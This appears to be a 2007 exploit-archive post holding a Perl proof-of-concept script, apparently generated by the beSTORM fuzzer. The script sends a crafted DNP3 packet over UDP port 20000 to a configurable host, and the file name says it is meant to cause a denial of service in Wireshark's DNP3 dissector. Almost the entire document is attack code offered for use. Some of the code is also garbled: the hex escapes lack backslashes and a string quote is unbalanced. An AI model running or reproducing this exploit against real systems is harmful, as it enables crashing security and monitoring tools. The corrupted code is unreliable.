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wiresharkdnp3-dos.txt

Posted on 31 August 2007

#!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
#  DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT}  = &abort;

my $host  = '192.168.4.52';
my $port  = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
usage()
}

$host    = $opt{H} ? $opt{H} : $host;
$port    = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
Data =>
"xC3xC0x01x01x00x01x07x08x01x02x03x04x05x06x07x08},
{Command => 'Receive'},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!

";

print "connected to: $host:$port
";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]
";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]
";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason:
$!
";
}
}

#3. Close connection
close ($sock);

#The end

sub receive
{
my $sock = shift;
my $timeout = shift;

my $tmpbuf;
my $buf = "";

while(1)
{ # Example from perldoc -f alarm
eval {
local $SIG{ALRM} = sub { die "timeout
" };
alarm $timeout;

my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
if ( !defined $ret or $ret == 0 )
{ #EOF
die "timeout
";
}

alarm 0;
$buf .= $tmpbuf;
};
if ($@) { #time out
if($@ eq "timeout
")
{
last;
}
else {
die "receive aborted
";
}
}
} #while
return $buf;
}

sub abort
{
print "aborting...
";
if ($sock)
{
close $sock;
}
die "User aborted operation
";
}
sub usage
{
print "usage: $0 [-hHPt]
";
print "-h	: this help message
";
print "-H	: override default host - $host
";
print "-P	: override default port - $port
";
print "-t	: set socket timeout in seconds
";
exit 0;
}

 

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